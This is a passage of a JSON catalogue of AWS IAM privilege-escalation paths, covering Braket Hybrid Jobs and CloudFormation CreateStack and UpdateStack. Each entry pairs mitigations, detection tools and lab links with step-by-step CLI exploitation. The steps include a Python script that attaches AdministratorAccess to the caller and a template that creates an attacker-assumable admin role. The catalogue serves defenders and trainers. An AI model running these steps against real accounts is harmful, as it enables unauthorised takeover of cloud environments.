          "name": "MrCloudSec",
          "email": "sgarcia@beyondtrust.com",
          "githubUsername": "MrCloudSec"
        }
      ]
    },
    "filePath": "data/paths/bedrock/bedrock-007.yaml"
  },
  {
    "id": "braket-001",
    "name": "iam:PassRole + braket:CreateJob",
    "category": "new-passrole",
    "services": [
      "iam",
      "braket"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role to the Amazon Braket service"
        },
        {
          "permission": "braket:CreateJob",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "braket:GetJob",
          "resourceConstraints": "Useful for polling job status to confirm execution"
        },
        {
          "permission": "braket:SearchJobs",
          "resourceConstraints": "Helpful for discovering existing jobs and their states"
        },
        {
          "permission": "s3:GetObject",
          "resourceConstraints": "Required on the attacker-controlled S3 bucket to read the pre-staged exploit script"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and `braket:CreateJob` can escalate privileges by creating an Amazon Braket Hybrid Job that passes an admin IAM role as the `jobExecutionRoleArn`. The Hybrid Job runs a containerized Python script using the ML instance infrastructure; the script calls `iam:AttachUserPolicy` using the job execution role's credentials to attach AdministratorAccess to the starting user.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts braket.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "An S3 bucket must be accessible for job output storage (required by Braket)"
      ],
      "lateral": [
        "A role must exist that trusts braket.amazonaws.com to assume it",
        "An S3 bucket must be accessible for job output storage (required by Braket)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "cat > /tmp/exploit.py << 'EOF'\nimport boto3\nimport os\n\ndef main():\n    iam = boto3.client(\"iam\")\n    user = os.environ.get(\"ATTACKER_USER\", \"STARTING_USER\")\n    iam.attach_user_policy(\n        UserName=user,\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n    )\n    print(f\"AdministratorAccess attached to {user}\")\n\nif __name__ == \"__main__\":\n    main()\nEOF\n\naws s3 cp /tmp/exploit.py s3://ATTACKER_BUCKET/exploit/exploit.py\n",
          "description": "Create a malicious Python exploit script and upload it to an attacker-controlled S3 bucket. Braket Hybrid Jobs require the entry point to be in S3."
        },
        {
          "step": 2,
          "command": "aws braket create-job \\\n  --job-name privesc-braket-job \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --algorithm-specification '{\n    \"scriptModeConfig\": {\n      \"entryPoint\": \"exploit:main\",\n      \"s3Uri\": \"s3://ATTACKER_BUCKET/exploit/exploit.py\",\n      \"compressionType\": \"NONE\"\n    }\n  }' \\\n  --output-data-config '{\"s3Path\": \"s3://ATTACKER_BUCKET/output\"}' \\\n  --instance-config '{\n    \"instanceType\": \"ml.m5.large\",\n    \"instanceCount\": 1,\n    \"volumeSizeInGb\": 1\n  }' \\\n  --device-config '{\"device\": \"arn:aws:braket:::device/quantum-simulator/amazon/sv1\"}' \\\n  --hyper-parameters '{\"ATTACKER_USER\": \"STARTING_USER\"}' \\\n  --stopping-condition '{\"maxRuntimeInSeconds\": 300}'\n",
          "description": "Create a Braket Hybrid Job, passing the admin role as the jobExecutionRoleArn. The job container downloads and runs the exploit script with the admin role's credentials."
        },
        {
          "step": 3,
          "command": "aws braket get-job \\\n  --job-arn JOB_ARN \\\n  --query 'status' \\\n  --output text\n",
          "description": "Poll job status. Once the job reaches COMPLETED, the privilege escalation has succeeded and AdministratorAccess is attached to the starting user."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative Braket job roles** - Very rarely does a quantum computing job need administrative IAM access. Use the principle of least privilege and scope job execution roles to only the data and services the job legitimately requires.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificBraketRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"braket.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Braket job creation followed by IAM policy attachment events\n- Monitor CloudTrail for Braket job creation by principals who do not usually create Braket jobs\n- Monitor CloudTrail for roles being passed to Braket that haven't been used before\n- Monitor and alert on Braket job creation with privileged roles\n- Regularly audit all IAM roles that trust braket.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Even limited access may enable multi-hop attacks.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by Amazon Braket - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonbraket.html"
      },
      {
        "title": "IAM roles for Amazon Braket - Amazon Braket",
        "url": "https://docs.aws.amazon.com/braket/latest/developerguide/braket-manage-access.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/braket-001-iam-passrole+braket-createjob",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L354"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and braket:CreateJob permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "braket_job",
          "label": "New Braket Hybrid Job",
          "type": "resource",
          "description": "New Amazon Braket Hybrid Job created with a privileged IAM role passed as the jobExecutionRoleArn. The Hybrid Job runs a containerized Python script on ML instance infrastructure (e.g., ml.m5.large). The entry point script is sourced from an attacker-controlled S3 bucket and executes automatically when the job starts.\n"
        },
        {
          "id": "exec_role",
          "label": "Job Execution Role",
          "type": "principal",
          "description": "IAM role passed to the Braket Hybrid Job as the jobExecutionRoleArn. The role must trust braket.amazonaws.com to assume it. Once the job starts, the container runs with this role's credentials automatically injected by the Braket service. The attacker's Python entry point script calls IAM APIs using these credentials.\n"
        },
        {
          "id": "exploit_script",
          "label": "Python Entry Point Script",
          "type": "payload",
          "color": "#99ccff",
          "description": "Malicious Python script uploaded to an attacker-controlled S3 bucket and referenced as the job's entry point. When the Braket Hybrid Job runs, this script executes with the job execution role's credentials and calls iam:AttachUserPolicy to attach AdministratorAccess to the starting principal.\n\nExample exploit script:\n```python\nimport boto3, os\n\ndef main():\n    iam = boto3.client(\"iam\")\n    user = os.environ.get(\"ATTACKER_USER\", \"STARTING_USER\")\n    iam.attach_user_policy(\n        UserName=user,\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n    )\n```\n\nThe script is specified via `--algorithm-specification scriptModeConfig.entryPoint` and the S3 URI in the CreateJob call.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The job execution role has AdministratorAccess or equivalent permissions. The Python script successfully calls iam:AttachUserPolicy, elevating the starting principal to full administrative access across the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The job execution role has some elevated permissions but not full admin. The script can leverage these permissions for data exfiltration (S3, DynamoDB, Secrets Manager), security configuration changes, or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The job execution role only has minimal permissions (e.g., logs:PutLogEvents, s3:PutObject on a specific bucket). The privilege escalation provides limited value despite the script executing successfully.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "braket_job",
          "label": "iam:PassRole + braket:CreateJob",
          "description": "Create a new Braket Hybrid Job and pass the target admin role as the jobExecutionRoleArn. The job references the malicious Python script in S3 as its entry point.\n\nCommand:\n```bash\naws braket create-job \\\n  --job-name privesc-braket-job \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --algorithm-specification '{\n    \"scriptModeConfig\": {\n      \"entryPoint\": \"exploit:main\",\n      \"s3Uri\": \"s3://ATTACKER_BUCKET/exploit/exploit.py\",\n      \"compressionType\": \"NONE\"\n    }\n  }' \\\n  --output-data-config '{\"s3Path\": \"s3://ATTACKER_BUCKET/output\"}' \\\n  --instance-config '{\"instanceType\": \"ml.m5.large\", \"instanceCount\": 1, \"volumeSizeInGb\": 1}' \\\n  --device-config '{\"device\": \"arn:aws:braket:::device/quantum-simulator/amazon/sv1\"}' \\\n  --hyper-parameters '{\"ATTACKER_USER\": \"STARTING_USER\"}' \\\n  --stopping-condition '{\"maxRuntimeInSeconds\": 300}'\n```\n"
        },
        {
          "from": "braket_job",
          "to": "exec_role",
          "label": "Job assumes jobExecutionRoleArn",
          "description": "The Braket Hybrid Job container starts and automatically assumes the IAM role specified in jobExecutionRoleArn. The role's temporary credentials are injected into the container environment and are available to the Python script via the boto3 default credential chain.\n"
        },
        {
          "from": "exec_role",
          "to": "exploit_script",
          "label": "Script executes with role credentials",
          "description": "The Python entry point script runs within the job container using the execution role's credentials. The script uses boto3 (pre-installed in Braket containers) to make IAM API calls, with no additional credential configuration required.\n"
        },
        {
          "from": "exploit_script",
          "to": "admin",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the job execution role has AdministratorAccess or IAM write permissions (iam:AttachUserPolicy), the script successfully attaches AdministratorAccess to the starting principal. The privilege escalation is confirmed once the job reaches COMPLETED status.\n"
        },
        {
          "from": "exploit_script",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the job execution role has elevated but non-admin permissions, the script can still perform meaningful actions such as reading sensitive data from S3 or Secrets Manager, modifying infrastructure, or staging further privilege escalation attempts.\n"
        },
        {
          "from": "exploit_script",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the job execution role only has minimal permissions, the script cannot perform meaningful privilege escalation. The attack provides limited value despite the job executing successfully.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/braket/braket-001.yaml"
  },
  {
    "id": "cloudformation-001",
    "name": "iam:PassRole + cloudformation:CreateStack",
    "category": "new-passrole",
    "services": [
      "iam",
      "cloudformation"
    ],
    "description": "A principal with `iam:PassRole` and `cloudformation:CreateStack` can launch a CloudFormation template that creates AWS resources. The template executes with the permissions of the passed IAM role. This allows creation of resources controlled by the attacker, such as IAM users, Lambda functions, or EC2 instances. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts cloudformation.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A role must exist that trusts cloudformation.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws cloudformation create-stack --stack-name privesc-stack --template-body file://exploit-template.yaml --capabilities CAPABILITY_IAM --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE",
          "description": "Create a CloudFormation stack with a template that creates privileged resources"
        },
        {
          "step": 2,
          "command": "aws cloudformation describe-stacks --stack-name privesc-stack",
          "description": "Monitor stack creation progress"
        },
        {
          "step": 3,
          "command": "# Access the newly created resources (e.g., IAM user, Lambda function)",
          "description": "Use the elevated privileges of the created resources"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a CloudFormation stack need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificCloudFormationRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"cloudformation.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual CloudFormation stack creation followed by immediate resource creation\n- Monitor CloudTrail for stack creation by principals who do not usually create stacks\n- Monitor CloudTrail for roles being passed to CloudFormation that haven't been used before\n- Monitor and alert on CloudFormation stack creation with privileged roles\n- Regularly audit CloudFormation stacks for excessive IAM permissions\n- Regularly audit all IAM roles that trust the CloudFormation service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackingTheCloud - PassRole + CloudFormation CreateStack Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-cloudformationcreatestack"
      },
      {
        "title": "IAM Vulnerable - PassExistingRoleToCloudFormation",
        "url": "https://github.com/BishopFox/iam-vulnerable/blob/main/modules/free-resources/privesc-paths/privesc20-PassExistingRoleToCloudFormation.tf"
      },
      {
        "title": "HackTricks - AWS - Cloudformation Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/index.html#iampassrole-cloudformationcreatestack"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 20",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "ec2-001",
      "lambda-001"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/cloudformation_edges.py#L109-L132",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L150",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L169"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole-cloudformation",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "CloudFormation-PassExistingRoleToCloudFormation",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "cloudformation:CreateStack",
          "resourceConstraints": "Must have permission to create CloudFormation stacks"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole` and `cloudformation:CreateStack` permissions. This principal will create a CloudFormation stack that executes with a privileged role's permissions.\n"
        },
        {
          "id": "cfn_stack",
          "label": "New CloudFormation Stack",
          "type": "resource",
          "description": "The newly created CloudFormation stack with a malicious template. The stack is created with `cloudformation:CreateStack` and configured to use a privileged IAM role via `iam:PassRole`. The template defines AWS resources to be created with the target role's permissions.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the cloudformation Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the CloudFormation stack during creation. This role must trust cloudformation.amazonaws.com as a principal in its trust policy. When CloudFormation creates resources, it uses this role's permissions.\n"
        },
        {
          "id": "execute_template",
          "label": "Execute Template Resources",
          "type": "payload",
          "color": "#99ccff",
          "description": "The CloudFormation template executes with the target role's permissions, creating AWS resources defined in the template. Common resources for privilege escalation include IAM users with access keys, Lambda functions, EC2 instances with User Data scripts, or IAM policies/roles that grant the starting principal elevated access.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the CloudFormation template can create resources that grant the attacker full administrative access to the AWS account. For example, the template could create an IAM user with AdministratorAccess and access keys for the attacker.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the CloudFormation template can create resources that grant partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB) or resources that enable additional privilege escalation techniques.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or no interesting permissions, the CloudFormation template cannot create resources that provide meaningful additional access to the attacker. Limited usefulness for privilege escalation.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "cfn_stack",
          "label": "iam:PassRole + cloudformation:CreateStack",
          "description": "The attacker creates a new CloudFormation stack and passes a privileged role to it. The stack is created with a malicious template (YAML or JSON) that defines AWS resources to be provisioned.\n\nCommand:\n```bash\naws cloudformation create-stack \\\n  --stack-name privesc-stack \\\n  --template-body file://exploit-template.yaml \\\n  --capabilities CAPABILITY_IAM \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\n```\n\nThe exploit-template.yaml contains resource definitions that will execute with the target role's permissions. Note the `--capabilities CAPABILITY_IAM` flag is required when the template creates IAM resources.\n"
        },
        {
          "from": "cfn_stack",
          "to": "target_role",
          "label": "Stack assumes role",
          "description": "When the CloudFormation stack is created, the CloudFormation service automatically assumes the target role. All resource creation operations in the template execute with the permissions granted to this role.\n"
        },
        {
          "from": "target_role",
          "to": "execute_template",
          "label": "CloudFormation provisions resources",
          "description": "CloudFormation provisions the resources defined in the template using the target role's permissions. The template can create any AWS resources the role has permissions for, such as IAM users with access keys, Lambda functions, EC2 instances, S3 buckets, or IAM policies and roles.\n\nMonitor stack progress:\n```bash\naws cloudformation describe-stacks \\\n  --stack-name privesc-stack\n```\n\nThe created resources can then be accessed by the attacker to gain elevated privileges.\n"
        },
        {
          "from": "execute_template",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the CloudFormation template can create resources that grant the attacker full control over the AWS account. For example, the template could create an IAM user with AdministratorAccess policy attached and generate access keys that are output in the stack outputs or stored in an S3 bucket the attacker can access.\n"
        },
        {
          "from": "execute_template",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the CloudFormation template can create resources that grant partial privilege escalation. This might include Lambda functions with data access, EC2 instances with privileged instance profiles, or IAM policies that enable additional privilege escalation techniques. The attacker gains access through the newly created resources.\n"
        },
        {
          "from": "execute_template",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal or non-sensitive permissions, the CloudFormation template cannot create resources that provide meaningful additional access. The privilege escalation attempt may not yield significant results, though even limited access could be useful for reconnaissance or as part of a multi-step attack chain.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/cloudformation/cloudformation-001.yaml"
  },
  {
    "id": "cloudformation-002",
    "name": "cloudformation:UpdateStack",
    "category": "existing-passrole",
    "services": [
      "cloudformation",
      "iam"
    ],
    "description": "A principal with `cloudformation:UpdateStack` can modify an existing CloudFormation stack that has an administrative service role attached. CloudFormation stacks execute with the permissions of their service role, which often requires elevated privileges to manage infrastructure. By updating the stack template to include new IAM resources (such as an admin role with a trust policy allowing the attacker to assume it), the attacker can leverage the stack's elevated permissions to create resources they couldn't create directly. This is particularly insidious because it appears as legitimate infrastructure management activity.",
    "prerequisites": {
      "admin": [
        "A CloudFormation stack must exist with an administrative service role (e.g., AdministratorAccess or an equivalent custom policy)",
        "The principal must have permission to update that specific stack"
      ],
      "lateral": [
        "A CloudFormation stack must exist with a service role that has elevated permissions",
        "The principal must have permission to update that specific stack"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws cloudformation describe-stacks \\\n  --stack-name TARGET_STACK_NAME \\\n  --query 'Stacks[0].[StackName,StackStatus,RoleARN]'\n",
          "description": "Identify CloudFormation stacks with elevated service roles"
        },
        {
          "step": 2,
          "command": "aws cloudformation get-template \\\n  --stack-name TARGET_STACK_NAME \\\n  --query 'TemplateBody'\n",
          "description": "Retrieve the current stack template"
        },
        {
          "step": 3,
          "command": "# Create modified template with added IAM role\n# Add resource like:\n# EscalatedAdminRole:\n#   Type: AWS::IAM::Role\n#   Properties:\n#     RoleName: escalated-admin-role\n#     AssumeRolePolicyDocument:\n#       Statement:\n#         - Effect: Allow\n#           Principal:\n#             AWS: arn:aws:iam::ACCOUNT_ID:user/ATTACKER_USER\n#           Action: sts:AssumeRole\n#     ManagedPolicyArns:\n#       - arn:aws:iam::aws:policy/AdministratorAccess\n",
          "description": "Modify the template to add an IAM role with admin permissions and a trust policy allowing you to assume it"
        },
        {
          "step": 4,
          "command": "aws cloudformation update-stack \\\n  --stack-name TARGET_STACK_NAME \\\n  --template-body file://modified-template.json \\\n  --capabilities CAPABILITY_NAMED_IAM\n",
          "description": "Update the CloudFormation stack with the modified template (stack's service role creates the new admin role)"
        },
        {
          "step": 5,
          "command": "aws cloudformation wait stack-update-complete \\\n  --stack-name TARGET_STACK_NAME\n",
          "description": "Wait for the stack update to complete"
        },
        {
          "step": 6,
          "command": "aws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/escalated-admin-role \\\n  --role-session-name escalation-session\n",
          "description": "Assume the newly created admin role"
        },
        {
          "step": 7,
          "command": "# Configure AWS CLI with the temporary credentials from step 6\n# Now you have administrator access\naws iam list-users\n",
          "description": "Verify administrator access"
        }
      ]
    },
    "recommendation": "Restrict the `cloudformation:UpdateStack` permission using the principle of least privilege.\n\nUse IAM policy conditions to restrict which stacks can be updated:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"cloudformation:UpdateStack\",\n  \"Resource\": \"arn:aws:cloudformation:*:*:stack/approved-stack-name/*\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"cloudformation:StackId\": \"arn:aws:cloudformation:*:*:stack/approved-stack/*\"\n    }\n  }\n}\n```\n\nAdditional controls:\n- Implement least privilege principles for CloudFormation service roles - avoid granting AdministratorAccess when more granular permissions suffice\n- Use CloudFormation stack policies to prevent modifications to sensitive resources:\n  ```json\n  {\n    \"Statement\": [\n      {\n        \"Effect\": \"Deny\",\n        \"Principal\": \"*\",\n        \"Action\": \"Update:*\",\n        \"Resource\": \"LogicalResourceId/SensitiveRole\"\n      }\n    ]\n  }\n  ```\n- Implement Service Control Policies (SCPs) to restrict CloudFormation stack updates that create or modify IAM resources\n- Monitor CloudTrail for `UpdateStack` API calls, especially those that modify stacks with elevated service roles\n- Enable CloudFormation drift detection and alerts to identify unauthorized stack modifications\n- Require MFA for CloudFormation updates using condition keys like `aws:MultiFactorAuthPresent`\n- Use IAM Access Analyzer to identify and remediate privilege escalation paths involving CloudFormation permissions\n- Implement change approval workflows for CloudFormation stack updates that modify IAM resources\n- Regularly audit CloudFormation service roles and reduce permissions to the minimum required for stack operations\n",
    "limitations": "This path provides administrative access only if the existing stack's service role has administrative permissions. If the service role has limited permissions, the attacker gains access limited to those permissions. However, even limited access may enable multi-hop attacks.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/cloudformation_edges.py#L85-L113"
      },
      "derivativeOf": {
        "pathId": "cloudformation-001",
        "modification": "This variation uses cloudformation:UpdateStack instead of cloudformation:CreateStack to modify an existing stack with an administrative service role"
      },
      "ultimateOrigin": {
        "pathId": "cloudformation-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "PMapper CloudFormation Edge Detection (Original Implementation)",
        "url": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/cloudformation_edges.py"
      },
      {
        "title": "AWS IAM Privilege Escalation - Methods and Mitigation (Rhino Security Labs)",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "Escalating AWS IAM Privileges with an Undocumented CodeStar API",
        "url": "https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/"
      },
      {
        "title": "CloudFormation Change Set Privilege Escalation",
        "url": "https://dev.to/aws-builders/cloudformation-change-set-privilege-escalation-18i6"
      },
      {
        "title": "AWS IAM Privilege Escalation Techniques (HackingThe.Cloud)",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/"
      },
      {
        "title": "AWS CloudFormation Service Role Documentation",
        "url": "https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html"
      },
      {
        "title": "CloudFormation Stack Policies",
        "url": "https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/protect-stack-resources.html"
      },
      {
        "title": "Service Roles for CloudFormation (AWS Prescriptive Guidance)",
        "url": "https://docs.aws.amazon.com/prescriptive-guidance/latest/least-privilege-cloudformation/service-roles-for-cloudformation.html"
      }
    ],
    "relatedPaths": [
      "cloudformation-001"
    ],
    "permissions": {
      "required": [
        {
          "permission": "cloudformation:UpdateStack",
          "resourceConstraints": "Must have permission to update the target CloudFormation stack"
        }
      ],
      "additional": [
        {
          "permission": "cloudformation:DescribeStacks",
          "resourceConstraints": "Helpful for identifying stacks with elevated service roles"
        },
        {
          "permission": "cloudformation:GetTemplate",
          "resourceConstraints": "Useful for retrieving the current stack template to modify"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Helpful for verifying the escalated role was created"
        },
        {
          "permission": "sts:AssumeRole",
          "resourceConstraints": "Required to assume the newly created admin role"
        }
      ]
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/cloudformation-updatestack",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "CloudFormation-UpdateStack",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths (requires CloudFormation non-free module, ~$0.40/month)"
      }
    },
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/cloudformation_edges.py#L149",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L174"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `cloudformation:UpdateStack` permission on the target stack. This principal can modify the stack template to add new AWS resources that will be created with the stack's service role permissions.\n"
        },
        {
          "id": "existing_stack",
          "label": "Existing CloudFormation Stack",
          "type": "resource",
          "description": "An existing CloudFormation stack with an administrative service role attached. The stack's service role typically has elevated permissions (e.g., AdministratorAccess) to manage infrastructure resources. The attacker has permission to update this specific stack through `cloudformation:UpdateStack`.\n"
        },
        {
          "id": "stack_role",
          "label": "Stack's Administrative Service Role",
          "type": "principal",
          "description": "The IAM role attached to the CloudFormation stack as its service role. This role trusts cloudformation.amazonaws.com and has administrative permissions required to manage infrastructure. When the stack is updated, CloudFormation uses this role's permissions to create, modify, or delete resources defined in the template.\n"
        },
        {
